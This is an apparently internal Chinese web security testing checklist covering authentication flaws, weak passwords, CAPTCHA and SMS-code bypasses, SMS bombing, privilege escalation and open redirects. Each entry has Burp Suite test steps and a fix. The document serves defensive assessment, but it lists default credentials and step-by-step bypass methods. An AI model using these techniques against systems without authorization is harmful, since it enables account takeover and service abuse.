身份标志

1.用户账户可重复

风险等级：中

漏洞描述：

用户帐号（包括管理员及普通用户）应具有唯一性，保证应用系统中不存在重复用户帐号。

测试步骤：

在注册时，使用burpsuite工具抓取请求包；
将请求发送到intruder功能，使用高并发同一时间进行同步注册活动；
如果系统提示均已成功，则说明存在问题。

修复方案：

在注册时不仅对ID进行生成，也要对用户名做判断，防止相同用户名的账户重复注册。

2.无账户锁定机制

风险等级：中

漏洞描述：

账号活动异常时（单个IP在1分钟内尝试登录50次以上、连续5次输错登录密码、3个月从未登录）锁定用户账号，应支持管理员后台锁定用户账号。

测试步骤：

使用burpsuite抓包登录请求，爆破登录密码，高并发情况下，是否对账号或者IP进行锁定，限制登录；

登录时连续5次输错密码，是否锁定账户；

检查源码，确认锁定时间不在前台，防止前端绕过。

检查修改密码处是否存在账户锁定机制，是否可爆破他人账号。

修复方案：

建议在不影响业务的前提下，账户在多次尝试失败后锁定时间不低于3分

弱口令

风险等级：高

漏洞描述：

服务器、中间件、应用等使用了默认口令，导致可被轻易猜解。例如数据库默认空口令，管理后台使用默认帐号密码。

测试步骤：

在需要登录的位置尝试使用默认账号和弱密码进行登录，默认账户分为普通型和条件型：

普通型：

一般网站后台默认账户：admin、manager、root、admin123、admin666、admin888

数据库默认账户：admin、root

Tomcat默认账户：admin、tomcat、manager

Jboss默认账户：admin、jboss、manager

Weblogic默认账户：weblogic、admin、manager

条件型：

根据实际系统环境生成默认账户字典，如：“四位字母”+“4位数字”生成分公司员工工号、“c_”+“姓名”生成p13账号；

弱密码示例如下，或者根据环境、内部人员信息、命名习惯等构造的社工密码；
登录口使用常见的用户名（admin,manager,pl3,电话号码）加上弱口令（ ①1大2小类规律键盘密码，例如Qwer1234、Qwer!@#$、!QAZ2wsx、1qaz2wsX、1234Qwer，②我司常见弱密码：例如Cpic1234、Cpic1111、Cpic1234！，③常见特殊弱密码：Passw0rd、Passw@rd、P@ssw0rd、Test1234、123456、123654、666666、888888、88888888）进行尝试登录；
服务器、中间件、应用等使用了默认口令，导致可被轻易猜解。例如数据库默认空口令，管理后台使用默认帐号密码。
弱口令字典详见pass.txt文件。

修复方案：

若管理员及普通用户通过用户名/密码进行认证，必须支持：

1. 不能包含用户的帐户名，生日，电话号码

2. 不能包含用户姓名中超过两个连续字符的部分；2个以上连续数字或字母；2个以上重复数字或字符；

3. 至少有八个字符长

4. 至少每六个月更换一次密码

5. 禁止使用前两次的密码

6. 包含以下四类字符中的四类字符:

     ①英文大写字母(A 到 Z)

     ②英文小写字母(a 到 z)

     ③10 个基本数字(0 到 9)

     ④非字母字符(例如 !、$、#、%)

7. 禁止使用的特殊弱密码：

    ①1大2小类规律键盘密码，例如Qwer1234、Qwer!@#$、!QAZ2wsx、1qaz2wsX、1234Qwer等

    ②我司常见弱密码：例如Cpic1234、Cpic1111

    ③常见特殊弱密码：Passw0rd、Passw@rd、P@ssw0rd、Test1234

不安全的错误提示

风险等级：中

漏洞描述：

身份验证的失败提示信息采用模糊处理，比如可以使用“用户名或密码错误”，而不要使用“用户名错误”或者“密码错误”明确提示。（适用于面向客户的系统）

测试步骤：

输入正确用户名，错误密码，页面提示密码错误，即存在该问题。
输入错误的用户名，页面直接提示用户名错误，存在该问题。
页面提示“用户名或密码错误”，页面跳转带有错误类型参数，如errormsg=1，代表密码错误，errormsg=0代表用户名错误。这种情况也存在该问题。
存在注册功能时，站点可能会对用户名或登陆凭证是否已存在做校验，若无token、图形码、验证码，并且可以遍历的情况也存在该问题。

修复方案：

建议身份验证的失败提示信息采用模糊处理，比如可以使用“用户名或密码错误”，而不要使用“用户名错误”或者“密码错误”明确提示。

密码不应返回前端

风险等级：中

漏洞描述：

服务器端将密码信息返回在响应数据包中或者在登录、验证等页面的隐藏域中存在密码信息。

测试步骤：

检查登陆相关js文件如login.js、index.js、passwd.js、crypto.js等及登陆页面注释部分是否存在账号密码；
对注册、登陆、重置密码、修改密码过程中的旧密码校验和新密码更新等涉及密码操作，使用burpsuite抓取相关数据包；
检查响应包中是否存在以明文、base64、MD5等形式存储的账户密码信息；

修复方案：

用户名及密码尽可能不在客户端存储，若有必要，如cookie中暂存，应以加密方式存储。

登录认证可被绕过

风险等级：高

漏洞描述：

登录认证在前端校验，未在服务端校验，导致登陆认证可被绕过。

测试步骤：

检查登陆相关js文件如login.js、index.js、passwd.js、crypto.js等及登陆页面注释部分是否存在登陆后跳转地址，检查跳转地址是否可以按照跳转逻辑构造数据包后直接访问；
对登陆过程，使用burpsuite抓取相关数据包；
检查响应包中是否传输了登陆认证结果，修改认证失败结果为成功检查是否可以登入系统；

检查响应包中cookie值是否包含登陆认证结果，构造认证成功的cookie检查是否可以登入系统；

修复方案：

1.修改验证逻辑，如是否登录成功服务器端返回一个参数，但是到此就是最终验证，不需要再对返回的参数进行使用并作为登录是否成功的最终判断依据;

2.严格检查系统是否存在登录页面，删除测试用的登录页面，如系统内功能均为公共功能无需设置权限，尽量删除登陆页面；

3.信公众号等绑定类登录页面，需要采用多因素认证，如工号+身份证号+手机号发送验证码，类似于工号+身份证号的均为风险认证

强密码机制检测

风险等级：中

漏洞描述：

应用系统后台未强制用户设置强密码，导致在注册、密码重置等功能模块可以使用弱密码，易被攻击者暴力猜接。

应用后台应强制用户使用强密码，满足如下规则：

1. 不能包含用户的帐户名，生日，电话号码

2. 不能包含用户姓名中超过两个连续字符的部分；2个以上连续数字或字母；2个以上重复数字或字符；

3. 至少有八个字符长

4. 至少每六个月更换一次密码

5. 禁止使用前两次的密码

6. 包含以下四类字符中的四类字符:

①英文大写字母(A 到 Z)

②英文小写字母(a 到 z)

③10 个基本数字(0 到 9)

④非字母字符(例如 !、$、#、%)

7. 禁止使用的特殊弱密码：

①1大2小类规律键盘密码，例如Qwer1234、Qwer!@#$、!QAZ2wsx、1qaz2wsX、1234Qwer等

②我司常见弱密码：例如Cpic1234、Cpic1111

③常见特殊弱密码：Passw0rd、Passw@rd、P@ssw0rd、Test1234

测试步骤：

在设置密码功能时输入不符合密码规则的密码，查看系统是否存在强密码的校验机制；
如果密码校验机制是通过前端js来判断的，那么通过抓包的方式，在请求包中将密码修改为弱口令，提交请求后查看是否能够成功设置密码，如果可以设置成功，那么说明密码检测机制在前端判断可以被绕过，如果有“密码强度不足”等提示，说明不存在问题。

修复方案：

应用后台应强制用户使用强密码，满足如下规则：

1. 不能包含用户的帐户名，生日，电话号码

2. 不能包含用户姓名中超过两个连续字符的部分；2个以上连续数字或字母；2个以上重复数字或字符；

3. 至少有八个字符长

4. 至少每六个月更换一次密码

5. 禁止使用前两次的密码

6. 包含以下四类字符中的四类字符:

     ①英文大写字母(A 到 Z)

     ②英文小写字母(a 到 z)

     ③10 个基本数字(0 到 9)

     ④非字母字符(例如 !、$、#、%)

7. 禁止使用的特殊弱密码：

    ①1大2小类规律键盘密码，例如Qwer1234、Qwer!@#$、!QAZ2wsx、1qaz2wsX、1234Qwer等

    ②我司常见弱密码：例如Cpic1234、Cpic1111

    ③常见特殊弱密码：Passw0rd、Passw@rd、P@ssw0rd、Test1234

用户密码重置

风险等级：高

漏洞描述：

在重置密码中服务器对用户提交的验证码进行校验，如果校验成功则返回响应的特征值，如1、true、success，如果失败则对应返回0、false、fail。但是如果根据服务端返回特征值来判断下一步是否能进入密码重置页面的校验动作由客户端完成的话则会被绕过，从而修改任意用户密码

测试步骤：

前端校验情况：验证用户名密码成功之后返回flag到前端，前端根据flag进行下一步，此方法可通过burpsuite修改返回包绕过；
使用手机、邮箱等进行验证：后端验证不严格时，可将请求包中的手机号、邮箱修改成攻击者的，从而接收验证信息进行绕过，重置受害者密码；
验证用的验证码直接返回到前端：查看响应包中是否包含验证码，输入正确的验证码后，跳过验证步骤，进行修改密码的操作；
验证码未绑定用户：使用自己注册账号的验证码验证其他用户重置密码的功能；
跳过验证步骤：直接访问重置密码的连接，即可跳过当前身份验证的步骤；
未校验用户字段的值：发起修改密码的请求时，将用户字段修改为其他账号，如将用户名修改为admin，即可以修改admin账户的密码；
Cookie值的替换：cookie算法强度不高，容易被破解时，通过修改cookie中的字段，获得其他账号的cookie，修改密码时将cookie替换为其他账号的cookie，即可将其他账号的密码修改成功；
验证码可被穷举：密码修改一般会将验证码发送到用户的手机号码或者邮箱中，如果验证码过于简单，如纯4位数字，且验证码未及时更新注销，则容易遭受验证码被穷举风险，从而修改任意用户密码。

修复方案：

密码重置应在服务端严格校验用户身份，如校验用户绑定身份证号码、绑定手机号等，且一切前端校验都是不安全的，所有校验禁止在客户端进行校验，应该交由服务端进行校验。

更改密码时不需要输入原密码

风险等级：中

漏洞描述：

涉及交易功能、账号重要关联信息（密码、身份证件号、关联的手机号/邮箱等）修改时应对用户再次进行身份认证；

测试步骤：

修改密码时，需输入原密码，没有输入原密码，即存在该问题。
修改密码时，要求输入原密码，没有对密码正确进行验证，存在该问题。
修改密码时，要求输入原密码，但原密码验证判定在前端进行，则存在该问题。可通过修改原密码验证的返回包数据，如将参数false改为true，绕过原密码校验，直接修改密码。

修复方案：

修改密码时需要对当前用户身份进行校验，如对旧密码进行校验或者通过即时的短信验证码进行校验。

展业系统单因素认证

风险等级：中

漏洞描述：

对互联接入的展业系统（除了微信、支付宝以外的应用），未采用两种或两种以上的方式进行身份认证，如使用户名口令、动态密码、USB证书。

测试步骤：

确认是否为需要登录或者绑定业务的系统；
检查系统是否使用了至少两种方式认证，如身份证号加短信验证码，注意工号加身份证号或者工号加手机号等类似情况不属于双因素认证；
如果系统使用了两种或两种以上方式进行身份认证说明不存在该漏洞。

修复方案：

对互联接入的展业系统（除了微信、支付宝以外的应用），应采用两种或两种以上的方式进行身份认证：用户名口令、动态密码、USB证书

图形验证码
1. 无图形验证码功能

风险等级：中

漏洞描述：

注册页面、短信及邮箱认证页面、限时抢购类页面需要添加图形验证码以达到防止恶意用户侵入、恶意灌水、刷票，爆破、撞库、接口滥用等问题。

测试步骤：

当登录页面、注册页面、短信及邮箱认证页面、活动确认页面、提交订单页面没有图形验证码时，可能导致登录页面被暴力破解，账号被恶意注册，短信轰炸及邮箱轰炸等问题；
针对以上页面功能需要增加图形验证码功能。

修复方案：

若系统存在注册页面、短信及邮箱认证页面、限时抢购类等通过电脑自动操作可能会带来危害的页面，均采用图形验证码技术；

1、图形验证码，应采取了一定的干扰措施来防止电脑自动识别；

分析数据包内容应不存在图形验证码的明文文本内容；

2、每次提交后，验证码均已更新；等待5分钟以后，正确的验证码应该也不能验证通过；无法通过修改图形验证码生成链接中的width、heigh等参数，操控响应报文的大小

3、分别通过界面及采用Burp Suite提交验证码，检查服务器是否在每次提交后更新验证码；验证码出现后，等待一定时间后，输入正确的验证信息，检查是否可以通过验证；

4、使用Burp Suite查看图形验证码生成链接，如其参数内存在width、heigh等参数，通过修改参数判断验证码大小是否可控

1. 1. 1. 图形验证码机制可以被绕过

风险等级：中

漏洞描述：

图形验证码可被绕过，执行暴力破解、短信轰炸等自动化攻击操作。

测试步骤：

验证码无效：无论输入什么都判断验证码正确；
验证码固定：也叫验证码重复使用（重用）。是指验证码没有设使用期限，在验证码首次认证成功后没有删除session中的验证码，使得该验证码可被多次成功验证，从而造成危害。在实际测试中，首先填写正确登录信息和验证码然后抓取提交数据包，然后重复提交该数据包，登录成功则存在验证码重复使用问题。
验证码回显到前端：验证码在html或cookie中显示，或输出到response headers的其他字段，可被直接查看；
验证码可猜测：由于验证码设置比较简单，可能只有数字或字母组成，也可能是其设定范围有限，导致验证码内容可被猜测。
逻辑缺陷导致验证码可绕过：由于逻辑设计缺陷，可绕过验证，常见绕过方式如直接删除COOKIE、验证码参数为空、直接删除验证码参数可绕过和修改Response状态值。也可根据情况组合以上绕过方式。
验证码存在特殊值可通过校验，如:pass、allpass、0000、000000等等

修复方案：

1、系统在开发时注意验证识别后销毁session中的验证码。

2、限制用户提交的验证码不能为空

3、判断提交的验证码与服务器上存储的是否一致

4、禁止将验证码明文信息发送至客户端

1. 1. 1. 验证码可识别

风险等级：中

漏洞描述：

图形验证码应采取一定的干扰措施且不可预测，如字体倾斜，加背景噪点、横线；

测试步骤：

点击验证码，发现验证码只是简单数字字母组合，无干扰措施，可以通过百度识图编写python脚本进行识别，识别率在80%以上即存在该问题，脚本参考地址https://www.jb51.net/article/188712.htm。

修复方案：

采取一定的干扰措施且不可预测，如字体倾斜，加背景噪点、横线等

1. 1. 1. 前端可控的验证码生成机制

风险等级：中

漏洞描述：

图形验证码需由服务端生成并进行验证，不得在页面源文件返回;

测试步骤：

点击验证码，F12查看没有请求包，验证码由前端js生成，即存在该问题。
点击验证码，F12发现存在请求包，请求包参数附带leng,width,height参数，通过修改这些参数，可以控制验证码，即存在该问题；

修复方案：

图形验证码应采取一定的干扰措施且不可预测，可调整原有验证码中字体的倾斜度，背景添加噪点、加干扰线等；或换用更安全的图形验证码生成方式，如：滑块、转图、拼图、涂鸦等，以确保图形验证码不被识别。

1. 1. 1. 验证码返回前端

风险等级：中

漏洞描述：

图形验证码数值在返回包中返回前端(可通过自动化程序输入验证码，导致验证码无效，导致防护失效) ;

测试步骤：

点击验证码，查看请求的响应包，响应中存在验证码，如图所示，即存在该问题。

修复方案：

禁止将验证码返回给客户端。

1. 1. 1. 验证码长度可控

风险等级：中

漏洞描述：

在页面上存在参数可指定验证码的位数，这可简化识别工作。此问题的出现也可能是调试的需要，并发布时忘记注释掉相关代码而导致。

测试步骤：

检查系统生成验证码机制，寻找是否能够控制生成长度相关字段；
若生成图片验证码长度可控会消耗大量系统资源，如直接控制生成图形验证码大小,过大系统响应时间会变慢，大量发送该请求即可造成DOS攻击。

修复方案：

验证码不因在前端生成与验证，应由服务端生成并对传来的数据包进行对验证码的验证。

1. 1. 1. 验证码重复利用

风险等级：中

漏洞描述：

验证码在使用过程中可对固定验证码进行重复利用，若存在登录处可造成暴力破解；若存在系统评论处可造成大量恶意灌水评论。

测试步骤：

输入正确的验证码进行抓包重放，查看验证码是否能够重复利用；
若系统存在loginerr等字段记录验证码错误次数，可抓包将loginerr字段修改为0或直接删除该字段，可造成验证码重复利用；
检查系统是否通过Session字段中相关参数要求更新验证码，部分web应用当验证码输入错误后，会返回重新获取验证码字段在session中。若相关参数可控可进行固定造成验证码重复利用；
检查系统是否通过刷新页面或登录失败点击返回首页等方式触发验证码更新，若使用此方式可尝试不刷新页面或尝试阻断更新机制造成验证码重复利用。

修复方案：

在服务端进行校验失效期，关键操作每提交一次请求，应刷新验证码，并且不可继续使用旧的验证码。

1. 1. 1. 验证码重复利用（重复）

风险等级：中

漏洞描述：

验证码使用过程中，其固定验证码进行多次或无限重复利用，比如可进行暴力破解，恶意注册，无限刷帖，短信轰炸等需要验证码的功能点。

测试步骤：

不进行新验证码获取与更新的情况下，旧的验证码仍可以重复利用
输入正确的验证码后进行抓包多次重放，查看多次请求后，验证码是否能通过验证，是否还具备其有效性
提交验证码的请求包中，存在某些字段记录验证码错误次数，可抓包将字段修改为0或直接删除该字段，都有可造成验证码重复利用
检查系统是否通过Session字段中相关参数要求更新验证码，部分web应用当验证码输入错误后，会返回重新获取验证码字段在session中。若相关参数可控可进行固定造成验证码重复利用。

修复方案：

在服务端进行校验失效期，关键操作每提交一次请求，应刷新验证码，并且不可继续使用旧的验证码。

1. 1. 短信验证码
    1. 短信轰炸

风险等级：高

漏洞描述：

攻击者通过网站页面中所提供的发送短信验证码的功能处，通过对其发送数据包的获取后，进行重放，如果服务器短信平台未做校验的情况时，系统会一直去发送短信，这样就造成了短信轰炸的漏洞

测试步骤：

利用空格或特殊字符绕过：在发送请求的手机号前面或末尾添加空格、特殊字符可以对该手机号无限制发送短信；原因：后端先验证手机号唯一性，通过空格、+等特殊字符可以绕过这一步，下一步发送验证码时，接口对参数默认只取数字部分、或者使用正则提取，因此成功发送短信。
利用接口绕过：比如这样的参数：terminal=01&Mobile=XXXXXXX，terminal表示不同情况，01代表注册、02代表登录验证、03代表密码重置。通过terminal替换即可造成轰炸效果
修改cookie绕过：有些网站不直接验证手机号来判断，而是利用当前Cookie来进行验证发送次数，如果此时的cookie不是登录的cookie，我们可以通过自行修改cookie来绕过限制；

例如：https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=27614

修改ip绕过：有些同样是验证当前IP的，如果当前IP短时间内获取短信频繁或者达到一定次数的话就会出现限制，那么就可以利用修改IP或者代理IP来进行绕过限制；
利用不同的账户达到轰炸的效果：有时候仅是对一个手机号无法进行短信轰炸，我们对多个手机号发送短信同样可以达到消耗短信资源的效果，如果是特殊的功能点，比如办卡，推荐新用户等，可以利用社工库撞库判断手机号是否注册过；
利用页面特点实现轰炸：手机app的某些activity调起的时候会触发发送短信的动作，我们利用自动化脚本重复调起该界面可以达到轰炸效果
修改返回值：这种情况通常分为两步，第一步验证当前手机号是否超过限制，还可以发送短信返回success，否则发送error，第二步根据第一步的返回值对服务器进行请求发送验证码。因此可以通过修改返回包进行绕过
设置发送时间间隔：编写脚本，构造发送短信请求包，设置发送请求时间间隔（如3分钟），验证系统是否限制短信每日最大发送请求次数，以及发送频率的限制是否合理。
利用burpsuite的turbo-intruder-all插件进行高并发爆破。

修复方案：

1.合理配置后台短信服务器的功能，对于同一终端，60秒内只能发送一次短信验证码。

2.正确并有效配置并发锁以防止通过高并发而导致的短信轰炸。

3.并且可以加入验证码功能以及可对发送的时间间隔进行限制。

4.对手机号码进行强加密

1. 1. 1. 短信验证码机制可以被绕过

风险等级：高

漏洞描述：

服务端在校验信息时，未校验验证码参数

测试步骤：

客户端绕过：验证码返回到前端，在返回包中发现系统返回了明文或密文验证码；修改返回包，通过前端校验验证码是否合格进行下一步，修改返回包中的flag，比如成功success、失败false，将false修改为success即可绕过；
校验次数未限制：验证码校验5次之后仍未失效，可以通过脚本或者burpsuite进行爆破；
验证码与手机未绑定：手机A的验证码，B也可以用，攻击者使用自己的手机接收验证码，然后使用正常用户的手机进行验证码相关操作

修复方案：

1. 若存在特权验证码，建议将其删除；

2. 应用服务端应严格校验验证码参数是否为空，格式是否正确；

3. 关键操作每提交一次请求，应发送新的短信验证码，并且不可继续使用旧的验证码。

1. 1. 1. 短信验证码未绑定

风险等级：高

漏洞描述：

后台生成的验证码与请求的手机号未绑定，攻击者使用自己的手机接收验证码，使用该验证码以及其他用户的手机号进行违规操作，比如修改其他用户密码、任意注册等

测试步骤：

在需要手机验证码的功能处，填写自己的手机号，并接受验证码；重新使用该功能，填写其他用户的手机号（或者使用burpsuite抓包接下来的步骤，修改请求中的手机号），并填写自己收到的验证码。比如在修改密码处，一旦知道管理员的手机号，即可修改管理员的密码；

修复方案：

在服务端校将验证码与手机号绑定，确保短信验证码与绑定手机号一一对应。

1. 1. 1. 短信内容可控

风险等级：中

漏洞描述：

短信内容在前端可编辑，攻击者可以构造钓鱼连接等危险数据发送给客户

测试步骤：

短信页面编辑框，或者使用burpsuite抓包修改数据包里的短信内容，查看接收到的短信是否改变。

如图可编辑短信内容，并将构造的钓鱼连接发送给用户。

接收到的短信内容含有用户名、时间等动态变化参数，查看发送验证码的报文是否含有相关参数，尝试修改这些参数，看接收的短信内容中是否有变化。

修复方案：

短信验证码应只以短信方式发送到指定手机号，不再客户端进行发送和返回。

1. 1. 1. 短信验证码返回到前端

风险等级：高

漏洞描述：

页面功能在请求短信验证码时，在响应包中发现明文、弱加密验证码

测试步骤：

页面功能在请求短信验证码时，在响应包中发现明文、弱加密验证码；

如图为发送手机验证码的请求，在响应包中发现了手机验证码：

修复方案：

禁止将验证码返回给客户端。

1. 1. 1. 短信验证码可爆破

风险等级：高

漏洞描述：

服务端未限制验证次数

测试步骤：

页面功能请求验证码之后，填写任意验证码；
一分钟内发送超过一次，查看响应包内容是否提示发送时间间隔、单个超过次数等。比如1分钟之内只能发送一次、同一手机一天只能发送5次，剩余1次。
多次发送请求，若都是同一个响应内容，大概率存在漏洞。
使用burpsuite进行爆破，查看用户接收到的短信验证码是否成功验证。

修复方案：

设置验证码的过期时间（5分钟或15分钟失效）且服务器端每次校验后须刷新验证码，防止暴力破解验证码。

1. 1. 1. 验证码机制过于简单

风险等级：中

漏洞描述：

短信验证码复杂度不高，少于6位，容易被猜解。

测试步骤：

测试发送短信验证码的功能；
如果返回的短信验证码是否少于6位，如果使用了4位的验证码，那么则存在被暴力猜解的风险。

修复方案：

图形验证码需由服务端生成并进行验证，不在前端与response中返回

1. 1. 1. 短信验证码重复利用

风险等级：高

漏洞描述：

由于未设置验证码的失效时间和使用次数，在进行输入时没有对验证码进行验证，导致验证码只要可使用就可以通过验证，导致可以多次利用进行操作。

测试步骤：

同一短信验证码可以重复使用5次以上，则说明存在重复利用的问题；
同一短信验证码在五分钟内未失效，则为短信验证码重复利用问题。

修复方案：

在服务端设置校验失效期，且每次校验后，无论校验是否通过都对验证码进行刷新处理。

1. 1. 1. 短信验证码重复利用（重复）

风险等级：高

漏洞描述：

由于未设置验证码的失效时间，在进行输入时没有对验证码进行验证，导致验证码只要可使用就可以通过验证，导致可以多次利用进行操作

测试步骤：

（1）获取短信验证码之后，打开burp工具并开启抓包

（2）输入正确验证码并进行下一步，将抓取到的请求报发送到Repeater进行重放测试

（3）若响应包超过一次提示成功，则存在此问题。

修复方案：

在服务端设置校验失效期，且每次校验后，无论校验是否通过都对验证码进行刷新处理。

1. 1. 1. 验证码返回前端

风险等级：中

漏洞描述：

验证码回传至响应数据包内，且未加密或弱加密，抓取响应包即可得知验证码(可通过自动化程序输入验证码，导致验证码无效，导致防护失效)

测试步骤：

点击验证码，查看请求的响应包，响应中存在验证码，如图所示，即存在该问题。

修复方案：

禁止将验证码返回给客户端。

脆弱的加密方式

风险等级：中

漏洞描述：

敏感数据的加密方式容易被破解

测试步骤：

使用BASE64编码，BASE64并不是加密算法，只是一种编码方式。
使用常见的散列加密：如MD5、sha1等，可以通过撞库解密；
采用常见的加密算法的默认配置，未设置自己的秘钥，可以通过原版算法解密；
前端泄露加密解密函数，通过简单分析，即可得到加解密函数。

修复方案：

对于互联网传输的敏感信息应使用Hash+Salt,SHA2及以上强度的Hash算法，进行加密方式传输。

敏感信息明文传输

风险等级：高

漏洞描述：

系统采用HTTP访问模式，在页面上的操作全部采用HTTP方式明文传输，并且页面中也没有对传输的用户名和密码等敏感信息进行加密后传输，这样认证会话信息等敏感数据在网络中是明文传输，很容易被嗅探到

测试步骤：

敏感信息GET传输
敏感信息POST传输，但是协议为HTTP

修复方案：

1.对于互联网传输的敏感信息应采用加密方式传输，如用户名、密码、id等，防止产生关键字段暴力破解或参数遍历获取到信息的风险。

2.互联网传输的BS架构应用应采用VPN链路加密或HTTPS（应采用TLS1.2及以上版本加密）适用于交易、支付类应用系统。

3.互联网传输的CS架构应用应采用加密方式传输。（如采用HTTPS，应使用TLS1.2及以上版本加密）

1. 1. 管理安全
    1. 后台管理界面外网暴露

风险等级：中

漏洞描述：

后台管理界面（包括不限于：可操作管理多个账户，具有账号权限功能增删改权限的用户界面；可发布公告等内容管理的用户界面；可查询应用日志系统日志账户；可更改应用系统界面内容配置账户；）暴露在互联网上。

测试步骤：

查看系统框架是否有开源，开源的情况可以使用该系统的默认目录规则进行爆破：比如weblogic后台：http://ip:7001/console/login/LoginForm.jsp
非开源目录使用常见的目录进行爆破：比如admin、test、manage、management；
也可以根据网站信息生成特定目录：比如cpic、系统名称简写等各种关键词的搭配
查看js文件，检索如/admin、/manage、/login等关键字，看是否存在后台登录地址。
判定此漏洞，需确认此系统的使用者，若只供内部用户使用，要求将管理界面放在内网，若需供互联网客户使用，已启用安全认证，则为正常页面。

修复方案：

1)应保证应用系统的管理安全，后台管理界面（包括不限于：可操作管理多个账户，具有账号权限功能增删改权限的用户界面；可发布公告等内容管理的用户界面；可查询应用日志系统日志账户；可更改应用系统界面内容配置账户；）均不能向互联网暴露。

2)如有特殊需要，互联网的后台管理界面添加白名单访问机制。

1. 授权与访问控制
  1. 统一授权
    1. 垂直越权访问

风险等级：高

漏洞描述：

权限ID不变，权限类型改变，一个低级别攻击者尝试访问高级别用户的资源。

测试步骤：

测试能否通过URL地址获取管理员及其他用户信息，出现admin、user、system、pwd等敏感目录的URL地址，比如http://localhost/userManage/userList.do，会出现所有的user，并复制此链接；
以普通用户登陆进系统,在地址栏输入: userManage/userList.do，如果可以查看到其所有的user，则就造成了，普通用户的垂直越权访问；
或者找到其中进行增删改查操作的数据包，然后将请求包中鉴别身份的参数，如修改ID：id、user_id、shopid、orderd、appid；修改鉴权token、cookie，将这些参数使用burpsuite工具修改为其他账号的数据，然后将修改后的请求包发送给服务器。
观察服务器是否会返回其他账号的数据，如果正常返回其他账号的数据，说明该功能点没有做好权限控制，存在越权访问问题；
当系统存在多个不同权限的管理员时，低权限的管理员能访问或操作到高权限的管理的资源，则说明是垂直越权访问；
一些静态资源请求和本身无鉴权的请求，如：公告信息、新闻信息、图片资源信息、下载链接以及打印页面等不存在越权操作。

修复方案：
对用户操作进行权限校验，防止通过修改参数进入未授权页面及进行非法操作，建议在服务端对请求的数据和当前用户身份做一个校验检查。

1. 1. 1. 水平越权访问

风险等级：高

漏洞描述：

权限类型不变，权限ID改变，攻击者尝试访问与他拥有相同权限的用户的资源。

测试步骤：

或者找到其中进行增删改查操作的数据包，然后将请求包中鉴别身份的参数，如修改ID参数：id、user_id、shopid、orderd、appid、；修改鉴权token、cookie，将这些参数使用burpsuite工具修改为其他账号的数据，然后将修改后的请求包发送给服务器。
观察服务器是否会返回其他账号的数据，如果正常返回其他账号的数据，说明该功能点没有做好权限控制，存在越权访问问题；
当系统存在多个需要登录用户，A用户能访问或操作B用户的资源，则说明是水平越权访问；
一些静态资源请求和本身无鉴权的请求，如：公告信息、新闻信息、图片资源、下载链接以及打印页面等信息不存在越权操作。

修复方案：

对用户操作进行权限校验，防止通过修改参数进入未授权页面及进行非法操作，建议在服务端对请求的数据和当前用户身份做一个校验检查。流程描述：在服务器接收到用户发送的页面访问请求时，根据预设的识别策略，从用户的页面访问请求中提取该用户对应的用户唯一标识信息，同时提取所述页面访问请求对应的应答页面中的表单及该表单中不可修改参数，将所述表单及不可修改参数与所述用户唯一标识信息绑定后记录到参数列表中；检测到用户提交请求页面的表单时，将所述请求页面的表单及不可修改参数与该用户对应的所述参数列表中记录的表单及不可修改参数进行比对，控制该用户的访问

1. 1. 1. 未授权访问

风险等级：高

漏洞描述：

攻击者没有获取到登录权限或未授权的情况下，或者不需要输入密码，即可通过直接输入网站控制台主页面地址，或者不允许查看的链接便可进行访问，同时进行操作。

测试步骤：

登陆测试功能点，burpsuite工具抓取访问功能点时的数据包；
找到其中能进行增删改查操作的数据包，将其中判断用户身份的参数，如token、cookie、openid删掉，然后将修改后的请求包发送给服务器；
观察能否正常访问该功能点，能否正常使用增删改查功能，如果能正常使用，那该功能点就没有做权限控制，任意用户都可以访问和操作该功能点。如果无法访问，则该功能点不存在未授权访问的漏洞。
一些未授权访问的特例：

Spring boot未授权访问：

actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块。在 Actuator 启用的情况下，如果没有做好相关权限控制，非法用户可通过访问默认的执行器端点（endpoints）来获取应用系统中的监控信息，从而导致信息泄露甚至服务器被接管的事件发生。其中一些默认端点如下：

使用扫描工具，对/Actuator/{默认端点} 进行扫描测试，可以发现该问题。

通常识别当前 web 应用使用的框架为 springboot 框架。主要有两个方法判断

a. 通过 web 应用程序网页标签的图标（favicon.ico）；如果 web 应用开发者没有修改 springboot web 应用的默认图标，那么进入应用首页后可以看到如下默认的绿色小图标：

b. 通过 springboot 框架默认报错页面，如果 web 应用开发者没有修改 springboot web 应用的默认 4xx、5xx 报错页面，那么当 web 应用程序出现 4xx、5xx 错误时，会报错如下（此处仅以 404 报错页面为例）：

修复方案：

根据业务/系统具体情况，结合如下建议做出具体选择：

1. 配置访问控制规则

2. 修改默认端口

3. 添加密码验证

4. 最小化权限运行

5. 备份数据

1. 1. 访问控制
    1. 内网接口无校验访问

风险等级：中

漏洞描述：

接口未作身份校验，通过接口报文可直接向内网接口发起通信请求，进行获取敏感信息等操作。

测试步骤：

使用nmap对目标系统进行端口扫描，检查时是否存在常见API默认接口；
使用目录扫描工具对目标系统进行扫描，检测是否存在接口地址；
对发现的接口地址构造请求，尝试增删改数据、读取敏感数据、获取账号密码以及命令执行、权限提升等操作；

修复方案：

建议用白名单方式或者身份认证等方式对来自接口的任何请求数据。

1. 1. 1. 互联网接口无校验访问

风险等级：中

漏洞描述：

接口未作身份校验，通过接口报文可直接向互联网接口发起通信请求，进行获取敏感信息等操作。

测试步骤：

使用nmap对目标系统进行端口扫描，检查时是否存在常见API默认接口；
使用目录扫描工具对目标系统进行扫描，检测是否存在接口地址；
对发现的接口地址构造请求，尝试增删改数据、读取敏感数据、获取账号密码以及命令执行、权限提升等操作；

修复方案：

针对互联网接口调用，应对接口进行访问控制，防止非授权对象调用。访问控制方式，包括不限于身份认证、证书和IP白名单方式

1. 1. 1. 未验证的URL跳转

风险等级：中

漏洞描述：

服务端未对传入的跳转url变量进行检查和控制，可能导致可恶意构造任意一个恶意地址，诱导用户跳转到恶意网站。

测试步骤：

寻找系统相关URL中存在跳转的链接（如登录页面）http://www.example.com/member/login.html?redirectUrl=http://www.google.cn修改其中redirectUrl值查看是够能够正常跳转至修改后的页面；
修改跳转链接地址后通过抓包工具获取其HTTP响应头中Host的值是否包含了构造的URL内容；
如果是struts2重定向漏洞，则可通过web扫描工具扫描发现，或者手工验证，直接在URL后添加?redirect:+指定钓鱼链接。

修复方案：

1、 referer的限制

如果确定传递URL参数进入的来源，我们可以通过该方式实现安全限制，保证该URL的有效性，避免恶意用户自己生成跳转链接

2 、加入有效性验证Token

